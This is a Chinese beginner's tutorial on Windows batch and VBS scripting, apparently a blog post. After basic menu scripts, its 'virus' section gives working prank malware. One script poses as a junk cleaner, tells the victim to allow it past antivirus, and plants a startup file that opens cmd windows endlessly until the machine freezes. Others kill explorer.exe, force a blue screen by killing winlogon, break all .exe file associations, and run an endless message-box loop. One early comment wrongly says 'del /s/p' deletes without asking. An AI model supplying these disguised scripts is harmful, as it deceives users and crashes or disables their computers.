目录
初始批处理
一个简单的批处理程序
1、引入
2、echo输出
3、变量
4、if 、goto
病毒
简单的批处理文件一
简单的批处理文件二
最简单的病毒
最简单的病毒解药
最简单的脚本
最简单的死循环脚本
整人网页
初始批处理
如何批处理
命名: 后缀名为.bat
方法:创建一个记事本文件,然后将其后缀名改为.bat
批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条
运行环境:DOS窗口
一个简单的批处理程序
1、引入
1 d:
2 cd \
3 cd temp
4 del *.* /s/p #无询问状态下删除所有文件
我们把几条dos命令会聚在一起,这就进入了批处理的范畴
2、echo输出
1 @echo off #关闭回显
2 color 0a #改变颜色 color?查询如何使用
3 title 飞哥小程序v1.0 #设置程序名字
4
5 echo =====================
6 echo 菜单
7 echo 1、修改管理员密码
8 echo 2、定时关机
9 echo 3、退出本程序
10 echo =====================
11
12 pause #暂停一哈屏幕给俺瞅瞅
3、变量
1 @echo off #关闭回显
2 color 0a #改变颜色 color?查询如何使用
3 title 飞哥小程序v1.0 #设置程序名字
4
5 echo =====================
6 echo 菜单
7 echo 1、修改管理员密码
8 echo 2、定时关机
9 echo 3、退出本程序
10 echo =====================
11
12 pause #暂停一哈屏幕给俺瞅瞅
13
14
15 set /p usename=请输入用户名: #获取输入的字符串,并将其赋值给变量username
16 set /p password=请输入密码:
17 net user %username% %password% >nul #修改账户密码
18 #其中>nul代表若成功执行则把结果输出到虚空里,而不是屏幕上哦
19
20 pause
注:上述代码中#号之后的仅为注释,使用时要删除掉
4.if、goto
1 @echo off
2 color 0a
3 title 飞哥小程序v1.0
4
5
6 :menu #相当于一个以menu为名字的分支
7 cls #清屏
8 echo=======================
9 echo 菜单
10 echo 1、修改管理员密码
11 echo 2、定时关机
12 echo 3.退出本程序
13 echo=======================
14
15
16 set /p answer=请输入您的选择: #answer后面千万不能有空格
17
18 if %answer%==1 goto 1
19
20 if %answer%==2 goto 2
21
22 if %answer%==3 goto 3
23
24 echo 别乱输入哦,只能输入1、2、3哦
25
26 pause
27 goto menu
28
29 :1 #相当于一个以1为名字的分支
30 set /p u=请输入用户名:
31 set /p p=请输入新密码:
32 net user %u% %p% >nul
33 pause
34 goto menu
35
36 :2
37 set /p time=请输入时间:
38 shutdown -s -t %time%
39 set /p x=是否取消(1:是,0:否):
40 if %x%==1 shutdown -a
41
42 pause
43 goto menu
44
45
46 :3
47 exit
常用的shutdown命令可在DOS窗口输入shutdown ?查看使用方法
病毒
测试环境:虚拟机win2003
注:虚拟机上随你玩,真机玩了等重装吧
简单的批处理文件一
功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出DOS窗口直至电脑死机
1 @echo off
2 title 系统垃圾清理
3 color 2f
4 echo ====若杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5 echo. #代表空出一行
6 echo.
7 echo :start>c:\windows\windows.bat #这句话的含义是输出:start这句话并写到后面的文件中
8 echo start cmd >>c:\windows\windows.bat #这句话的含义是输出start cmd这句话并以追加的形式写到后面的文件中
9 echo goto start>>c:\windows\windows.bat
10 copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\Startup\" >nul
11 #上面一行表示将文件拷贝到当前用户启动菜单位置
12 if %errorlevel%==0 goto next
13 copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
14 #%USERPROFILE%是win定义的一个系统变量,代表当前用户所在的系统目录
15 if %errorlevel%==1 goto error
16 :next
17 echo.
18 echo.
19 echo ====== 垃圾清理中,请不要关闭窗口======
20 echo.
21 ping -n 5 127.0.0.1 >nul
22 echo.
23 echo ====== 垃圾清理完毕,共清理垃圾500M===
24 echo.
25 echo.
26 echo ====== 建议立即重启电脑
27 pause
28 goto ex
29
30 :error
31 echo.
32 echo.
33 echo ====== 程序运行失败,请使用【管理员权限】重新运行!======
34 echo.
35 pause
36 goto ex
37
38 :ex
39 exit
注:上面的启动目录只针对winxp和win2003,其他系统的请自行百度
简单的批处理文件二
功能:伪装桌面清理程序,强制终止桌面程序
1 @echo off
2 title 系统垃圾清理
3 color 2f
4 echo ======若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====
5 echo .
6 echo .
7
8 :next
9 echo .
10 echo .
11 echo ======垃圾清理中,请不要关闭窗口哦======
12 echo .
13 ping -n 5 127.0.0.1 >nul 2>nul
14 taskkill /im explorer.exe /f >nul 2>nul #杀掉相应的进程,其中/im 后面跟的是进程名 /f强制
15 echo .
16 ping . =====完了,你系统废了,桌面程序不见了,不信你看看======
17 ping -n 5 127.0.0.1 >nul 2>nul
18 echo .
19 start c:\windows\explorer.exe #开启对应的进程
20 echo .
21 echo ======一切尽在我掌控中,已然是修复好了,你瞅瞅桌面程序=====
22 pause
最简单的蓝屏炸弹文件
ntsd -c q -pn winlogon.exe分析:ntsd #杀死进程ntsd -c q -pn 进程名 #强制杀死进程蓝屏原因:winlogon.exe进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏!对win2003有很大的杀伤力,但对win2008基本没杀伤力
最简单的病毒
1 assoc .exe=txtfile分析:修改文件关联,导致文件无法正常打开
测试效果如下图:
最简单的病毒解药
1 assoc .exe=exefile
2 #即将后缀改为之前的一一对应
最简单的脚本
方法:将下面代码写入记事本,并将记事本的后缀名字改为.vbs
1 msgbox "我最帅!"
最简单的死循环脚本
1 do
2 msgbox "smile"
3 msgbox "jhw"
4 msgbox "hhh"
5 loop
效果:窗口无法关闭
解决方法:
vbs是使用微软自带的wscript.exe来编写的
打开任务管理器将其对应的进程杀死即可
整人网页
将以下代码写到记事本中保存后改后缀名为.html即可
1
2
3
4
5
6
7
8
9
10zhengren 不许把鼠标移到这里!点了真爽!!!
19
20